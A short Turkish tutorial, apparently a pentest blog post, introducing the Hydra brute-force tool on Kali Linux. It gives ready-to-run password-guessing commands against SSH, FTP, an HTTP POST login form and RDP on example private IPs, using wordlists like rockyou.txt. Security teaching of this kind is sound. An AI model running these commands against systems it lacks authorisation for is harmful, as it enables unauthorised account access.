**Hydra**, hızlı ve esnek bir **brute-force (kaba kuvvet)** saldırı aracıdır. SSH, FTP, Telnet, HTTP, RDP, SMB gibi birçok servis için kullanıcı adı ve parola kombinasyonlarını deneyerek erişim elde etmeye çalışır. Güçlü sözcük listeleriyle birlikte kullanıldığında zayıf şifreli sistemleri ortaya çıkarmada etkilidir.

**Bu Aracın Özellikleri Nelerdir?**

* **Çok Sayıda Protokol Desteği**: SSH, FTP, HTTP(S), SMB, VNC, Telnet, RDP, MySQL vb.
* **Paralel İşlem**: Aynı anda birden fazla kullanıcı/parola kombinasyonunu dener.
* **Wordlist Destekli**: Kendi kullanıcı adı ve parola listelerinizi kullanabilirsiniz.
* **Modüler Yapı**: Eklenti desteği ile yeni protokoller eklenebilir.
* **CLI Tabanlı**: Hızlı ve esnek parametre ayarları.

**Hydra Aracını Kali Linux’ta Kullanma ve Test Etme Adımları**

**Adım 1: Hydra Yüklü mü Kontrol Et / Gerekirse Kur**

“which hydra” ile kontrol edebilirsin

Eğer kurulu değilse :

“sudo apt update && sudo apt install hydra –y“

**Adım 2: Basit SSH Brute Force Saldırısı**

**Örnek hedef: 192.168.1.10**

**Kullanıcı listesi:** users.txt

**Parola listesi:**passwords.txt

“hydra -L users.txt -P passwords.txt ssh://192.168.1.10”

metin, yazı tipi, ekran görüntüsü, çizgi içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 3: FTP Servisine Karşı Saldırı**

“hydra -l admin -P /usr/share/wordlists/rockyou.txt <ftp://192.168.1.20>”



**Adım 4: HTTP POST Form Üzerinden Saldırı**

Web arayüzlerde POST login formuna saldırı için:

“ hydra -l admin -P passwords.txt 192.168.1.30 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid" “



**Adım 5: RDP Servisine Saldırı**

“hydra -t 4 -V -f -l user -P passwords.txt rdp://192.168.1.40”

